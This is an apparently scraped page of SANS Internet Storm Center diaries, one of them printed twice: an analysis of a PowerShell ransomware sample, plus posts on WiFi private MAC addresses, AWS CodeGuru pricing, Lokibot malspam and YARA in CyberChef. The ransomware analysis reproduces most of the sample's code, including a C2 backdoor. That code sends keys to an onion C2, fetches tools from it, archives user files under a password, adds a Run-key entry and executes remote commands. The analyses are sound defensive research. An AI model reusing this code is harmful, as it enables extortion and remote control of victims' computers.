Simple Powershell Ransomware Creating a 7Z Archive of your Files, (Thu, Apr 8th)

This post was originally published on this site

If some ransomware families are based on PE files with complex features, it's easy to write quick-and-dirty ransomware in other languages like Powershell. I found this sample while hunting. I'm pretty confident that this script is a proof-of-concept or still under development because it does not contain all the required components and includes some debugging information.

The file has been submitted on VT (SHA256:aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4)[1] and has a very nice score of 0/58! Let's have a look at it.

The script starts by generating some host-based data: a UUID and a random password:

function getUUID
{
    $raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID;
    $UUID = $raw.split('-')[4];
    return $UUID;
}

function makePass
{
    $alph=@();
    65..90|foreach-object{$alph+=[char]$_};
    $num=@();
    48..57|foreach-object{$num+=[char]$_};
    
    $res = $num + $alph | Sort-Object {Get-Random};
    $res = $res -join '';
    return $res; 
}

The ransomware communicates through TOR for C2 communications. I noticed that the TOR client was not included in this PowerShell script, maybe in a second script?

Note: TOR is expected to be launched from a ".home" directory:

cd $env:USERPROFILE;
Start-Process -windowstyle hidden -FilePath .homeTortor.exe;

The C2 server is located at this Onion address: qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion.

The ransomware sends the generated UUID and password to the C2:

UUID = getUUID;
$Pass = makePass;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/storeKey.php?pass={0}^&id={1}' -f $Pass, $UUID;
$response = cmd /c curl -s -x socks5h://localhost:9050 $request;

The expected reply is a simple "OK" that will trigger the file encryption process. The list of targeted file extensions is quite small and the search path is restricted to the user's home directory.

function makeFileList
{
    $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
    $List = $files -split 'r';
    return $List;
}

$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;

The way files are encrypted is an interesting approach. Instead of encrypting all files one by one, it creates a big 7Z encrypted archive containing all targeted files.

function compress($Pass)
{
    $tmp = $env:TEMP;
    $s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/prog/';
    $link_7zdll = $s + '7z.dll';
    $link_7zexe = $s + '7z.exe';
    
    $7zdll = '"'+$tmp+'7z.dll"';
    $7zexe = '"'+$tmp+'7z.exe"';
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;
    
    $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';

    $argOut = 'DesktopYourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
    $argPass = '-p' + $Pass;

    Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}

Once the files archived, scripts are dumped on the filesystem:

function setup
{
    $tmp = $env:TEMP;
    $usr = $env:USERPROFILE;

    $cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoN ... TbGVlcCAtU2Vjb25kcyA1Ow0KfQ==';
    $cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0 ... J3QgZG8gYW55IGhhcmm01lbnU7DQo=';
    
    $10d2d = $tmp +'10d2d10d2d.ps1';
    $10d2e = $usr +'Desktop10d2e.ps1';

    New-Item -ItemType Directory -Force -Path $tmp'10d2d';
    Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d)) | Out-String);
    Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e)) | Out-String);
    Set-Content -Path 'DesktopRansom_10d2e.bat' -value 'cmd /k powershell -ep bypass .10d2e.ps1';
}

The first script ("10d2d.ps1") implements persistence:

$onStart = 'cmd /c powershell -windowstyle hidden cd $env:TEMP10d2d; powershell -ep bypass .10d2d.ps1';
New-ItemProperty -Path HKCU:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun -Name 1s0tda2rdt -Value $onStart -Force;

Then it implements a backdoor waiting for commands from the C2:

$RH = "http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/rac/";
$UUID = getUUID;
while($true)
{
    cmd /c curl -s -x socks5h://localhost:9050 $RH'status.php?id='$UUID;
    $jobCall = (cmd /c curl -s -x socks5h://localhost:9050 $RH'commandBlock') -split 'n';   
    if(($jobCall[0] -replace ' ', '') -eq $UUID)
    {
        cmd /c curl -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=ack';
        try
        {
            $returnCont = (Invoke-Expression $jobCall[1] | Out-String) -replace 'rn', 'rn';
        }
        catch
        {
            $returnCont = $_ -replace 'rn', 'rn';
        }
        $curPath = (cmd /c cd | Out-String) -replace 'rn', 'rn';
        $returnCont = ('From UUID - {0} {1}rn{2}rn' -f $UUID, ('_'*75), $curPath) + $returnCont;

        cmd /c curl -X POST -d $returnCont -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=return';
    }

    Start-Sleep -Seconds 5;
}

The second script ("10d2e.ps1") contains the code to take the user by hand to pay the ransom (which is not very expensive: $20):

function pay($UUID)
{
    $msg2 = "Note1: We strongly advise you to wait 5 - 10s before submitting your info below to avoid the latency problem. `nNote2: pay the ransom only once.`nNote3: demo victim wallet: tb1qkvstwkjsuudcy0dnljdp8qpw4ur68g5uxhhf3j"; $msg2;
    $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=schedule"&"id=' + $UUID;
    $get2 = cmd /c curl -s -x socks5h://localhost:9050 $request;
    $msg3 = "`n`nDeadline: " + (get-date).AddMinutes(10).ToString("MM({0})-dd({1})-yyyy HH:mm:ss") -f 'mm', 'dd'; $msg3;
    $get2 = Read-Host($get2);

    $msg4 = 'Loading again...'; $msg4;
    $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=confirm"&"id=' + $UUID + '"&"walletAddr=' + $get2;
    $result = cmd /c curl -s -x socks5h://localhost:9050 $request; $result;

    if($result[0] -ieq 'C')
    {
        $msg5 = 'Generating a copy of password to your Desktop. Have a check...'; $msg5;
        Set-Content -Path $env:USERPROFILEDesktoppassc0de.txt -Value $result;
    }

}

Interaction with the victim looks like this:

Note that this second script must be invoked by the user as stated in the notification:

 

What to think about this script? It is very simple but does the job to annoy the victim. Is it a proof-of-concept? I don't know…

[1] https://www.virustotal.com/gui/file/aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4/content/strings

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Simple Powershell Ransomware Creating a 7Z Archive of your Files, (Thu, Apr 8th)

This post was originally published on this site

If some ransomware families are based on PE files with complex features, it's easy to write quick-and-dirty ransomware in other languages like Powershell. I found this sample while hunting. I'm pretty confident that this script is a proof-of-concept or still under development because it does not contain all the required components and includes some debugging information.

The file has been submitted on VT (SHA256:aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4)[1] and has a very nice score of 0/58! Let's have a look at it.

The script starts by generating some host-based data: a UUID and a random password:

function getUUID
{
    $raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID;
    $UUID = $raw.split('-')[4];
    return $UUID;
}

function makePass
{
    $alph=@();
    65..90|foreach-object{$alph+=[char]$_};
    $num=@();
    48..57|foreach-object{$num+=[char]$_};
    
    $res = $num + $alph | Sort-Object {Get-Random};
    $res = $res -join '';
    return $res; 
}

The ransomware communicates through TOR for C2 communications. I noticed that the TOR client was not included in this PowerShell script, maybe in a second script?

Note: TOR is expected to be launched from a ".home" directory:

cd $env:USERPROFILE;
Start-Process -windowstyle hidden -FilePath .homeTortor.exe;

The C2 server is located at this Onion address: qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion.

The ransomware sends the generated UUID and password to the C2:

UUID = getUUID;
$Pass = makePass;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/storeKey.php?pass={0}^&id={1}' -f $Pass, $UUID;
$response = cmd /c curl -s -x socks5h://localhost:9050 $request;

The expected reply is a simple "OK" that will trigger the file encryption process. The list of targeted file extensions is quite small and the search path is restricted to the user's home directory.

function makeFileList
{
    $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
    $List = $files -split 'r';
    return $List;
}

$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;

The way files are encrypted is an interesting approach. Instead of encrypting all files one by one, it creates a big 7Z encrypted archive containing all targeted files.

function compress($Pass)
{
    $tmp = $env:TEMP;
    $s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/prog/';
    $link_7zdll = $s + '7z.dll';
    $link_7zexe = $s + '7z.exe';
    
    $7zdll = '"'+$tmp+'7z.dll"';
    $7zexe = '"'+$tmp+'7z.exe"';
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;
    
    $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';

    $argOut = 'DesktopYourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
    $argPass = '-p' + $Pass;

    Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}

Once the files archived, scripts are dumped on the filesystem:

function setup
{
    $tmp = $env:TEMP;
    $usr = $env:USERPROFILE;

    $cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoN ... TbGVlcCAtU2Vjb25kcyA1Ow0KfQ==';
    $cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0 ... J3QgZG8gYW55IGhhcmm01lbnU7DQo=';
    
    $10d2d = $tmp +'10d2d10d2d.ps1';
    $10d2e = $usr +'Desktop10d2e.ps1';

    New-Item -ItemType Directory -Force -Path $tmp'10d2d';
    Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d)) | Out-String);
    Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e)) | Out-String);
    Set-Content -Path 'DesktopRansom_10d2e.bat' -value 'cmd /k powershell -ep bypass .10d2e.ps1';
}

The first script ("10d2d.ps1") implements persistence:

$onStart = 'cmd /c powershell -windowstyle hidden cd $env:TEMP10d2d; powershell -ep bypass .10d2d.ps1';
New-ItemProperty -Path HKCU:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun -Name 1s0tda2rdt -Value $onStart -Force;

Then it implements a backdoor waiting for commands from the C2:

$RH = "http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/rac/";
$UUID = getUUID;
while($true)
{
    cmd /c curl -s -x socks5h://localhost:9050 $RH'status.php?id='$UUID;
    $jobCall = (cmd /c curl -s -x socks5h://localhost:9050 $RH'commandBlock') -split 'n';   
    if(($jobCall[0] -replace ' ', '') -eq $UUID)
    {
        cmd /c curl -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=ack';
        try
        {
            $returnCont = (Invoke-Expression $jobCall[1] | Out-String) -replace 'rn', 'rn';
        }
        catch
        {
            $returnCont = $_ -replace 'rn', 'rn';
        }
        $curPath = (cmd /c cd | Out-String) -replace 'rn', 'rn';
        $returnCont = ('From UUID - {0} {1}rn{2}rn' -f $UUID, ('_'*75), $curPath) + $returnCont;

        cmd /c curl -X POST -d $returnCont -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=return';
    }

    Start-Sleep -Seconds 5;
}

The second script ("10d2e.ps1") contains the code to take the user by hand to pay the ransom (which is not very expensive: $20):

function pay($UUID)
{
    $msg2 = "Note1: We strongly advise you to wait 5 - 10s before submitting your info below to avoid the latency problem. `nNote2: pay the ransom only once.`nNote3: demo victim wallet: tb1qkvstwkjsuudcy0dnljdp8qpw4ur68g5uxhhf3j"; $msg2;
    $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=schedule"&"id=' + $UUID;
    $get2 = cmd /c curl -s -x socks5h://localhost:9050 $request;
    $msg3 = "`n`nDeadline: " + (get-date).AddMinutes(10).ToString("MM({0})-dd({1})-yyyy HH:mm:ss") -f 'mm', 'dd'; $msg3;
    $get2 = Read-Host($get2);

    $msg4 = 'Loading again...'; $msg4;
    $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=confirm"&"id=' + $UUID + '"&"walletAddr=' + $get2;
    $result = cmd /c curl -s -x socks5h://localhost:9050 $request; $result;

    if($result[0] -ieq 'C')
    {
        $msg5 = 'Generating a copy of password to your Desktop. Have a check...'; $msg5;
        Set-Content -Path $env:USERPROFILEDesktoppassc0de.txt -Value $result;
    }

}

Interaction with the victim looks like this:

Note that this second script must be invoked by the user as stated in the notification:

 

What to think about this script? It is very simple but does the job to annoy the victim. Is it a proof-of-concept? I don't know…

[1] https://www.virustotal.com/gui/file/aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4/content/strings

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

WiFi IDS and Private MAC Addresses, (Wed, Apr 7th)

This post was originally published on this site

I recently came across "nzyme" [1], a WiFi Intrusion Detection System (IDS). Nzyme does focus on WiFi-specific attacks, so it does not care about payload but inspects the 802.11 headers that escape traditional, wired IDSs. It was not terribly hard to get it running on a Raspberry Pi using a Panda USB WiFi adapter.

When configuring nzyme, you will specify the channels it is supposed to monitor and the SSIDs and BSSIDs you are using in your environment. It does not monitor or alert on events related to other SSIDs. I live in a reasonably densely populated area, and there are a dozen or so neighbor access points in range. Monitoring for classic "Rogue Access Points" would not make much sense. 

But even nzyme shows a large number of alerts:


Figure 1: nzyme dashboard

Luckily, nzyme also provides a few more details:


Figure 2: Alert Details

The key feature here is the MAC address: 02:9f:c2:d7:b8:d5. Let's take it apart: The first three bytes, the '"OUI" (Organization Unique Identifier), should identify the manufacturer, but you will not find "02:9f:c2" in the standard lookup table [2] [3].

To understand why Wireshark is probably wrong, let's take a closer look at the first byte of the MAC address:


Figure 3: MAC Address OUI Bytes

Figure 3 shows a diagram of the OUI bytes. The last two bits of the first byte have a special purpose:

  • U/L Bit: For officially assigned ("U"=Universal) addresses, this bit is CLEARED. If you want to make up your own local OUI, set this bit to avoid conflicts with officially assigned OUIs.
  • I/G Bit: Individual or Group bit. If set, the MAC address is used for Multicast/Broadcast. If cleared, it is used for Unicast.

So your MAC address above starts with "02". The "U/L" bit is set, and the OUI is "made up" and not assigned to a manufacturer. So why so many "made up" MAC addresses?

The main source of these alerts is Apple's iOS (and Android), enhancing the privacy of WiFi. MAC addresses have long been used to track users. In response, mobile devices have adopted this behavior (at least this is what I see from iOS) [4]:

  • When searching for WiFi networks, the operating system keeps altering its MAC address.
  • Once it joins a network, the MAC address will be consistent. It will use the same MAC address whenever it reconnects to the same network.
  • The actual "hardware" MAC address will only be used whenever a user specifically disables the privacy feature for a network [5]

So for your home/company "trusted" network, you may want to disable this feature to make network management easier. I found that the Apple Watch does not appear to pick up that setting from the phone, so you need to adjust this on the watch itself.

Another alert I have seen from nzyme is that access points use channels I didn't configure in nzyme. This is mostly due to access points automatically picking channels based on congestion. This feature can be disabled at the access point.

[1] https://nzyme.org
[2] https://standards.ieee.org/products-services/regauth/oui28/index.html
[3] https://www.wireshark.org/tools/oui-lookup.html
[4] https://support.apple.com/en-us/HT211949
[5] https://support.apple.com/en-us/HT211227


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Amazon CodeGuru Reviewer Updates: New Predictable Pricing Model Up To 90% Lower and Python Support Moves to GA

This post was originally published on this site

Amazon CodeGuru helps you automate code reviews and improve code quality with recommendations powered by machine learning and automated reasoning. You can use CodeGuru Reviewer to detect potential defects and bugs that are hard to find, and CodeGuru Profiler to fine-tune the performance of your applications based on live data. The service has been generally available since June 2020; you can read more about how to get started with CodeGuru here.

While working with many customers in the last few months, we introduced security detectors, Python support in preview, and memory profiling to help customers improve code quality and save hours of developer time. We also heard resounding feedback on various areas such as the structure of pricing and language coverage. We’ve decided to address that feedback and make it even easier to adopt Amazon CodeGuru at scale within your organization.

Today I’m happy to announce two major updates for CodeGuru Reviewer:

  • There’s a brand new, easy to estimate pricing model with lower and fixed monthly rates based on the size of your repository, with up to 90% price reductions
  • Python Support is now generally available (GA) with wider recommendation coverage and four updates related to Python detectors

New Predictable Pricing for CodeGuru Reviewer
CodeGuru Reviewer allows you to run full scans of your repository stored in GitHub, GitHub Enterprise, AWS CodeCommit, or Bitbucket. Also, every time you submit a pull request, CodeGuru Reviewer starts a new code review and suggests recommendations and improvements in the form of comments.

The previous pricing structure was based on the number of lines of code (LoC) analyzed per month, $0.75 per 100 LoC. We’ve heard your feedback: As a developer, you’d like to analyze your code as often as possible, create as many pull requests and branches as needed without thinking about cost, and maximize the chances of catching errors and defects before they hit production.

That’s why with the new pricing you’ll only pay a fixed monthly rate, based on the total size of your repositories: $10 per month for the first 100k lines of code, across all connected repositories. And $30 per month for each additional 100k of code. Please note that only the largest branch in the repository counts, and that empty lines and comments aren’t counted at all.

This price structure not only makes the cost more predictable and transparent, but it will also help simplify the way you scale CodeGuru Reviewer across different teams in the organization. You still have the possibility to perform full repository scans on demand and incremental reviews on each pull request. The monthly rate includes all incremental reviews, and you get up to two full scans per repository per month included in the monthly rate. Additional full scans are charged $10 per 100k lines of code.

Basically you get all the benefits of Amazon CodeGuru and all the new detectors and integrations, but it’s up to 90% cheaper. Also, you can get started at no cost with the Free Tier for the first 90 days, up to 100k LoC. When the Free Tier expires or if you exceed the 100k LoC, you simply pay the standard rates. Check out the updated pricing page here.

Let me share a few practical examples (excluding the Free Tier):

  1.  Medium-size repository of 150k LoC: In this case, your monthly rate gets rounded up to 200k lines of code, for a total of $40 per month ($10 + $30). The number of LoC is always rounded up. And by the way you could also connect a repository (or multiple) of up to 50K lines of code (bringing the total to that 200k lines of code) for the same price. Up to 2 full scans are included for each repository.
  2. Three repositories of 300k LoC each (the equivalent of a large repository of 900k LoC): In this case, your monthly rate is $250 ($10 for the first 100k lines of code, plus $240 for the remaining 800k lines of code). Up to 2 full scans are included for each repository.
  3.  Small repository of 70k LoC, with 10 full scans every month: In this case, your monthly rate is only $10 for the number of LoC, plus $60 for the additional full scans (560k LoC), for a total of $70 per month.
  4.  Small repository with 50 active branches, the largest branch containing 10k LoC, and 300 pull requests every month: Simple, just $10 per month. Up to 2 full scans are included for each repository.

The new pricing will apply starting in April for new repositories connected on April 6th, 2021, as well as for repositories already connected up to April 5th, 2021. We expect the largest majority of use cases to see a considerable cost reduction. Unless you need to perform full repository scans multiple times a day (this is quite an edge case), most small repositories up to 100k LoC will be charged only a predictable and affordable fee of $10 per month after the 90-day trial, regardless of the number of branches, contributors, or pull requests. Now you can develop and iterate on your code repositories — knowing that CodeGuru will review your code and find potential issues — without worrying about unpredictable costs.

Give CodeGuru Reviewer a try and connect your first repository in the CodeGuru console.

Python Support for CodeGuru Reviewer Now Generally Available
Python Support for CodeGuru Reviewer has been available in preview since December 2020. It allows you to improve your Python applications by suggesting optimal usage of data structures and concurrency. It helps you follow Python best practices for control flow, error handling, and the standard library. Last but not least, it offers recommendations about scientific/math operations and AWS best practices. These suggestions are useful for both beginners and expert developers, and for small and large teams who are passionate about code quality.

With today’s announcement of general availability, you’ll find four main updates related to Python detectors:

  • Increased coverage and precision for existing detectors: Many Python best practices have been integrated into the existing detectors related to standard library, data structures, control flow, and error handling. For example, CodeGuru Reviewer will warn you in case your code is creating a temporary file insecurely, using float numbers instead of decimal for scientific computation that requires maximum precision, or confusing equality with identity. These warnings will help you avoid security vulnerabilities, performance issues, and bugs in general.
  • Improved detector for resource leaks: During the preview, this detector only focused on open file descriptors; now it generates recommendations about a broader set of potential resource leaks such as connections, sessions, sockets, and multiprocessing thread pools. For example, you may implement a Python function that opens a new socket and then forget to close it. This is quite common and it doesn’t immediately turn into a problem, but resource leaks can cause your system to slow down or even crash in the long run. CodeGuru Reviewer will suggest closing the socket or wrapping it in a with statement. As a reminder, this detector is available for Java as well.
  • New code maintainability detector: This new detector helps you identify code issues related to aspects that usually make code bases harder to read, understand, and maintain, such as code complexity and tight coupling. For example, imagine that you’ve spent a couple of hours implementing a simple prototype and then you decide to integrate it with your production code as is. Because you were rushing a bit, this prototype may include a huge Python function with 50+ lines of code ranging from input validation, data preparation, some API calls, and a final write to disk. CodeGuru Reviewer will suggest you refactor this code into smaller, reusable, and loosely coupled functions that are easier to test and maintain.
  • New input validation detector: This new detector helps you identify situations where some functions or classes may benefit from additional validation of input parameters, especially when these parameter are likely to be user-generated or dynamic. For example, you may have implemented a Python function that takes an environment name as CLI input (e.g. dev, stage, prod), performs an API call, and then returns a resource ARN as output. You haven’t validated the environment name, so CodeGuru Reviewer might suggest you implement some additional validation; in this example, you may add a few lines of code to check that the environment name is not empty and that it’s a valid environment for this project.

Please note that Python Support for CodeGuru Profiler is still in preview: CodeGuru Profiler allows you to collect runtime performance data, identify how code is running on the CPU and where time is consumed, so you can tune your Python application starting from the most expensive parts — with the goal of reducing cost and improving performance.

You can get started with CodeGuru Reviewer and CodeGuru Profiler for Python in the CodeGuru console.

Conclusions
Amazon CodeGuru is available in 10 AWS Regions and it supports Python and Java applications. We’re looking forward to publishing even more detectors and support for more programming languages to help more developers and customers improve their application code quality and performance.

If you’d like to learn more about Amazon CodeGuru, check out the CodeGuru Reviewer documentation and CodeGuru Profiler documentation.

Malspam with Lokibot vs. Outlook and RFCs, (Tue, Apr 6th)

This post was originally published on this site

Couple of weeks ago, my phishing/spam trap caught an interesting e-mail carrying what turned out to be a sample of the Lokibot Infostealer.
At first glance, the e-mail appeared to be a run of the mill malspam message.

  • The text was a low-quality translation of English into Czech.
  • It claimed that the recipient needed to verify contents of attached file, that was supposed to contain information about an upcoming funds transfer.
  • The sender name and signature were supposed to look like the message came from an employee of one of the major Czech banks.

The message, however, turned out to be more interesting than it first appeared…

But before we get to that, let’s quickly look at the attachment, which was interesting in its own right. The attached ZIP archive contained an ISO file, which in turn contained an EXE. As it turned out, the executable was created with the Nullsoft Scriptable Install System, a legitimate tool for creating installer packages for Windows, which is sometimes used by malware authors in lieu of/in addition to a packer[1].

EXEs created with NSIS can be opened using 7-Zip[2]. Using this approach, one can easily get access to their contents, which in this case meant only an NSI installation script and a single DLL (0xtwa2t09nc.dll) located within a $PLUGINSDIR subdirectory.

As its name suggests, an NSI installation script should basically specify which steps are to be taken during an installation. In this case it contained only one function of note named .onInit.

As you may see, the .onInit function was simply supposed to call another function called Ycksxjzoiwxisk from the DLL located in the $PLUGINSDIR directory.

After this function was called, a malicious payload – which turned out to be a version of the Lokibot infostealer – would be decoded and loaded into memory. It would then copy the original executable to %appdata% directory, create a registry key pointing to the copy of the application, remove the original executable and stay resident.

During its in-memory residence, it would try to gather sensitive data (configurations, passwords, etc.) from a list of file system and registry locations.

It would then try to contact a C2 server and exfiltrate the collected data to it using HTTP. At the time of analysis, the server contacted by this version of the malware already appeared to be down and all attempts at accessing it by the malware were met with a HTTP 404 error.

A small point to note is that the malware seemed to use a fixed ~60 second beaconing period.

I’ve mentioned that the malware created a registry key after it copied the original malicious executable to the %appdata% directory. From this, you may have (quite reasonably) assumed that the key in question would have been created in one of the usual places that might be used to ensure persistence of the malware. This might indeed have been what authors of the malware were going for, but either due to encoding issues or some other reason, when I executed the malware in a VM (English version of W10), the key ended up in the root of the HKCU hive with an unexpected name.

It is clear, that if the registry modification was indeed an attempt at ensuring persistence, it didn’t go according to plan. This was however not the only interesting thing regarding encoding with our malspam… Which brings us back to the e-mail message.

Although, as I’ve mentioned, at first the e-mail appeared quite ordinary, a second look at it led to an interesting discovery. When an e-mail is opened in Outlook, it normally either displays both the name and an address of the sender…

…or Outlook may, under certain specific conditions, display only the name of the sender. If one then hovers on the name with a cursor, the name will turn blue and a corresponding Outlook contact card will be displayed.

Apart from that, one could simply right-click on the name (or on the icon with portrait or initials next to it) and display the contact card (and the e-mail address) that way.

In the case of our malspam, however, this did not happen. The name of the sender was not interactive in any way and if the icon with initials was right-clicked and the contact card was displayed, it was empty with no e-mail address present.

If one were to click on the “Reply” button, the behavior of Outlook would again seem unusual, as it would only display the name of the sender as text in the “To” field, and not any e-mail address.

After a quick analysis, the reason for these issues became clear – they were caused by the use of non-RFC-compliant sender address in the message, or – more specifically – by incorrectly used mixed-encoding. Per RFC 2047[3], non-ASCII encodings may be used in e-mail headers, the only requirement appears to be that the encoded text is formatted according to the following specification:

=?charset?encoding?encoded-text?=

The use of mixed-encoding in a single header is allowed by the RFC as well, if the two encodings are whitespace separated:

Ordinary ASCII text and 'encoded-word's may appear together in the
same header field.  However, an 'encoded-word' that appears in a
header field defined as '*text' MUST be separated from any adjacent
'encoded-word' or 'text' by 'linear-white-space'.

In cases when a sender address contains non-ASCII characters, it is therefore quite normal and proper to use – for example – a UTF-8 encoded string for the name, followed by an ASCII string, as in the following case:

From: =?UTF-8?Q?Jan_Kop=C5=99iva?= <jan@notimportant.tld>

This would result in the following sender information being displayed:

So where is the issue with our malspam message? Let’s take a look at its From header:

From: =?UTF-8?B?xIxlc2vDoSBzcG/FmWl0ZWxuYQ==?=, a.s. <info@[redacted].xyz>

As you may see, there is not a white space character after the end of the UTF-8 encoded text. However even if we were to put a whitespace after it, things would not look as they should – Outlook would simply display the same text in a decoded form, followed by the encoded form…

You can however probably guess where the issue lies – it is in the comma. Comma is a special character in the area of e-mail communication (consider that we separate multiple recipients by it) and therefore if it were used in a display name of a sender, it would need to be quoted to be compliant with RFC 5322[4]. This is something the senders of the malspam probably didn’t know – they simply separated the intended display name into two parts:

  • one with non-ASCII characters, which would have to be UTF-8 encoded, and
  • the other one (", a.s."), that didn't contain non-ASCII characters and could therefore be left in the original unencoded form… Or not, as our example shows.

If one were to put the comma, or the entire second part of the display name, in quotes, the sender information would finally look as it was supposed to.

As we may see, the “missing address” issue was caused by a non-RFC-compliant message being interpreted by Outlook, that expects to parse RFC-compliant content.

So, is this a vulnerability? Not really – Outlook appears to be working pretty much in accordance with the RFC specification… Unfortunately, as our malspam message shows, distributors of malicious e-mail messages don’t necessarily have to conform to such standards, which may result in an unexpected behavior when such a message is received.

Although a missing sender address in an e-mail from an unknown/external sender would be most suspicious to any security-minded recipient, to most regular users the fact that only a (potentially well-known) name would be displayed where a sender address should be could make any message appear much more trustworthy. So even though the use of non-compliant sender addresses probably won’t be the “next big thing” in phishing, it is certainly good to know that it is possible and that it is used in the wild, even if (at least so far) completely unintentionally. And it may also be worth it to mention the corrensponding behavior of Outlook in any advanced security awareness classes dealing with targetted attacks that you might teach…

 

Indicators of Compromise (IoCs)

Ceskasporitelna, a.s.Swift_260321_scan.zip (172 kB)
MD5 – bcd356d0c4c8d80bff2dea8045602044
SHA1 – f67f9dee7683aeb617183e0ceab4db5830a417f8

Ceskasporitelna, a.s.Swift_260321_scan.exe (511 kB)
MD5 – f6a59e6f73bc89e1d75db46f32d624dc
SHA-1 – ae70271d98402a100fcf3f6bc2d209025c9c321f

0xtwa2t09nc.dll (116 kB)
MD5 – 93d707a549d1b91001efbd75e858064d
SHA-1 – 3939a8e4935e4561a005fee08ac831ff0bd4f207

 

[1] https://threatpost.com/raticate-group-industrial-firms-revolving-payloads/155775/
[2] https://isc.sans.edu/forums/diary/Quick+analysis+of+malware+created+with+NSIS/23703/
[3] https://tools.ietf.org/html/rfc2047
[4] https://tools.ietf.org/html/rfc5322

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

YARA and CyberChef: ZIP, (Sun, Apr 4th)

This post was originally published on this site

When processing the result of "unzip" in CyberChef, for example with YARA rules, all files contained inside the ZIP file, are concatenated together.

This is not a problem when dealing with a single file inside a ZIP container. But it can be for multiple files. If you want to know more, I recorded a video with more details:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Iron Castle Systems